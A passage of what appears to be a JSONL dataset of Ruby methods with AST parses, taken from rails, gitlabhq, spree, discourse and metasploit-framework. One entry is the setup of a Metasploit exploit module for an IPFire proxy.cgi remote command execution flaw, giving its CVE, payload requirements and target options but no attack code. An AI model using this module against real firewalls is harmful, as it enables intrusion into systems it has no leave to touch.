only\\n\"]},{\"type\":\"str\",\"children\":[\"              data_fields.send('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"=', value)\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"_touched?\\n\"]},{\"type\":\"str\",\"children\":[\"              @old_data_fields ||= {}\\n\"]},{\"type\":\"str\",\"children\":[\"              @old_data_fields.has_key?('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"')\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"_changed?\\n\"]},{\"type\":\"str\",\"children\":[\"              \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"_touched? && @old_data_fields['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"'] != \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"_was\\n\"]},{\"type\":\"str\",\"children\":[\"              return unless \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"_touched?\\n\"]},{\"type\":\"str\",\"children\":[\"              return if data_fields.persisted? # arg_was does not work for attr_encrypted\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              legacy_properties_data['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"']\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]}]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"0af173c3-ae3b-4ec6-a42b-fdb6da8cf62e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/ubiquiti.rb","start_line":24,"raw_source":"def repair_zip(fname)\n      zip_exe = Msf::Util::Helper.which('zip')\n      if zip_exe.nil?\n        print_error('Zip utility not found.')\n        return nil\n      end\n      print_status('Attempting to repair zip file (this is normal and takes some time)')\n      temp_file = Rex::Quickfile.new('fixed_zip')\n      system(\"yes | #{zip_exe} -FF #{fname} --out #{temp_file.path}.zip > /dev/null\")\n      return File.read(\"#{temp_file.path}.zip\", mode: 'rb')\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"repair_zip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zip_exe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"Helper\"]},\"which\",{\"type\":\"str\",\"children\":[\"zip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_exe\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Zip utility not found.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to repair zip file (this is normal and takes some time)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Quickfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"fixed_zip\"]}]}]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"yes | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_exe\"]}]},{\"type\":\"str\",\"children\":[\" -FF \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\" --out \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\".zip > /dev/null\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\".zip\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]}]}]}]}","id":"fb9cdafc-0ba9-4249-a190-0f47593c6f95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_merge_time_service.rb","start_line":9,"raw_source":"def execute\n        merge_after = merge_request.merge_schedule&.merge_after\n        return inactive if merge_after.nil?\n\n        if merge_after.future?\n          failure\n        else\n          success\n        end\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_after\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"merge_schedule\"]},\"merge_after\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_after\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inactive\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_after\"]},\"future?\"]},{\"type\":\"send\",\"children\":[null,\"failure\"]},{\"type\":\"send\",\"children\":[null,\"success\"]}]}]}]}","id":"5b368c10-81d8-43a1-95b6-8e74ca1ec74b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/calculator/flat_percent_item_total.rb","start_line":11,"raw_source":"def compute(object)\n      computed_amount = (object.amount * preferred_flat_percent / 100).round(2)\n\n      # We don't want to cause the promotion adjustments to push the order into a negative total.\n      if computed_amount > object.amount\n        object.amount\n      else\n        computed_amount\n      end\n    end","complexity_score":12.75,"ast_json":"{\"type\":\"def\",\"children\":[\"compute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"computed_amount\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"amount\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"preferred_flat_percent\"]}]},\"/\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"computed_amount\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"amount\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"amount\"]},{\"type\":\"lvar\",\"children\":[\"computed_amount\"]}]}]}]}","id":"b05b186e-0677-4f80-a3bc-72c614973150"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/quoting_test.rb","start_line":130,"raw_source":"def test_quoted_datetime_local\n        with_timezone_config default: :local do\n          t = Time.now.change(usec: 0).to_datetime\n          assert_equal t.to_fs(:db), @quoter.quoted_date(t)\n        end\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_quoted_datetime_local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usec\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},\"to_datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quoter\"]},\"quoted_date\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}]}","id":"631384c2-c314-4a2d-9503-0e41f7b83017"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ipfire_proxy_exec.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IPFire proxy.cgi RCE',\n        'Description' => %q{\n          IPFire, a free linux based open source firewall distribution,\n          version < 2.19 Update Core 101 contains a remote command execution\n          vulnerability in the proxy.cgi page.\n        },\n        'Author' => [\n          'h00die <mike@stcyrsecurity.com>', # module\n          'Yann CAM' # discovery\n        ],\n        'References' => [\n          [ 'CVE', '2025-34116' ],\n          [ 'EDB', '39765' ],\n          [ 'URL', 'https://www.ipfire.org/news/ipfire-2-19-core-update-101-released']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Privileged' => false,\n        'DefaultOptions' => { 'SSL' => true },\n        'Arch' => [ ARCH_CMD ],\n        'Payload' => {\n          'Compat' =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'perl awk openssl'\n            }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2016-05-04',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n        OptString.new('PASSWORD', [ false, 'Password to login with', '']),\n        Opt::RPORT(444)\n      ], self.class\n    )\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"IPFire proxy.cgi RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          IPFire, a free linux based open source firewall distribution,\\n\"]},{\"type\":\"str\",\"children\":[\"          version < 2.19 Update Core 101 contains a remote command execution\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability in the proxy.cgi page.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die <mike@stcyrsecurity.com>\"]},{\"type\":\"str\",\"children\":[\"Yann CAM\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-34116\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"39765\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.ipfire.org/news/ipfire-2-19-core-update-101-released\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"perl awk openssl\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-05-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"User to login with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to login with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[444]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"7a862d0a-8152-43c7-8efc-c5049c4a0d2c"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/attached/one.rb","start_line":33,"raw_source":"def attachment\n      change.present? ? change.attachment : record.public_send(\"#{name}_attachment\")\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},\"attachment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"_attachment\"]}]}]}]}]}","id":"b576cee8-a762-4476-99b1-d2c864695fce"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/execution_context.rb","start_line":46,"raw_source":"def set(**options)\n        options.symbolize_keys!\n        keys = options.keys\n\n        store = record.store\n\n        previous_context = if block_given?\n          keys.zip(store.values_at(*keys)).to_h\n        end\n\n        store.merge!(options)\n        @after_change_callbacks.each(&:call)\n\n        if block_given?\n          begin\n            yield\n          ensure\n            store.merge!(previous_context)\n            @after_change_callbacks.each(&:call)\n          end\n        end\n      end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"symbolize_keys!\"]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"store\"]}]},{\"type\":\"lvasgn\",\"children\":[\"previous_context\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"zip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]},\"to_h\"]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@after_change_callbacks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"previous_context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@after_change_callbacks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"call\"]}]}]}]}]}]},null]}]}]}","id":"32b43f19-0948-4e07-b30b-137472a127bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/db/migrate/20231022224833_update_custom_field_data.rb","start_line":4,"raw_source":"def up\n    DB.exec(<<~SQL)\n      UPDATE discourse_automation_fields daf\n      SET metadata = CONCAT('{\"value\":', REPLACE(daf.metadata ->> 'value', 'user_field_', ''), '}')::JSONB,\n          component = 'custom_field'\n      FROM discourse_automation_automations daa\n      WHERE daa.id = daf.automation_id\n        AND daa.trigger = 'recurring'\n        AND daa.script = 'add_user_to_group_through_custom_field'\n        AND daf.name = 'custom_field_name'\n        AND daf.component = 'text'\n        AND daf.metadata ->>'value' LIKE 'user_field_%'\n    SQL\n\n    DB.exec(<<~SQL)\n      UPDATE discourse_automation_fields daf\n      SET metadata = CONCAT('{\"value\":', (SELECT id FROM user_fields WHERE name = daf.metadata ->> 'value'), '}')::JSONB,\n          component = 'custom_field'\n      FROM discourse_automation_automations daa\n      WHERE daa.id = daf.automation_id\n        AND daa.trigger = 'user_first_logged_in'\n        AND daa.script = 'add_user_to_group_through_custom_field'\n        AND daf.component = 'text'\n        AND daf.name = 'custom_field_name'\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE discourse_automation_fields daf\\n\"]},{\"type\":\"str\",\"children\":[\"SET metadata = CONCAT('{\\\"value\\\":', REPLACE(daf.metadata ->> 'value', 'user_field_', ''), '}')::JSONB,\\n\"]},{\"type\":\"str\",\"children\":[\"    component = 'custom_field'\\n\"]},{\"type\":\"str\",\"children\":[\"FROM discourse_automation_automations daa\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE daa.id = daf.automation_id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daa.trigger = 'recurring'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daa.script = 'add_user_to_group_through_custom_field'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daf.name = 'custom_field_name'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daf.component = 'text'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daf.metadata ->>'value' LIKE 'user_field_%'\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE discourse_automation_fields daf\\n\"]},{\"type\":\"str\",\"children\":[\"SET metadata = CONCAT('{\\\"value\\\":', (SELECT id FROM user_fields WHERE name = daf.metadata ->> 'value'), '}')::JSONB,\\n\"]},{\"type\":\"str\",\"children\":[\"    component = 'custom_field'\\n\"]},{\"type\":\"str\",\"children\":[\"FROM discourse_automation_automations daa\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE daa.id = daf.automation_id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daa.trigger = 'user_first_logged_in'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daa.script = 'add_user_to_group_through_custom_field'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daf.component = 'text'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND daf.name = 'custom_field_name'\\n\"]}]}]}]}]}","id":"b663ca91-bd21-4349-bc35-b966a3e5335a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":67,"raw_source":"def test_fills_auto_populated_columns_on_creation\n      record = Default.create\n      assert_not_nil record.id\n      assert_equal \"Ruby on Rails\", record.ruby_on_rails\n\n      if supports_virtual_columns?\n        assert_not_nil record.virtual_stored_number\n      end\n\n      assert_not_nil record.random_number\n      assert_not_nil record.modified_date\n      assert_not_nil record.modified_date_function\n      assert_not_nil record.modified_time\n      assert_not_nil record.modified_time_without_precision\n      assert_not_nil record.modified_time_function\n\n      assert_equal \"A\", record.binary_default_function\n\n      if supports_identity_columns?\n        klass = Class.new(ActiveRecord::Base) do\n          self.table_name = \"postgresql_identity_table\"\n        end\n\n        record = klass.create!\n        assert_not_nil record.id\n      end\n    end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fills_auto_populated_columns_on_creation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Default\"]},\"create\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Ruby on Rails\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ruby_on_rails\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_virtual_columns?\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"virtual_stored_number\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"random_number\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"modified_date\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"modified_date_function\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"modified_time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"modified_time_without_precision\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"modified_time_function\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"binary_default_function\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_identity_columns?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"postgresql_identity_table\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]}]}]},null]}]}]}","id":"348adf68-5331-4deb-8109-21a30386fff4"}
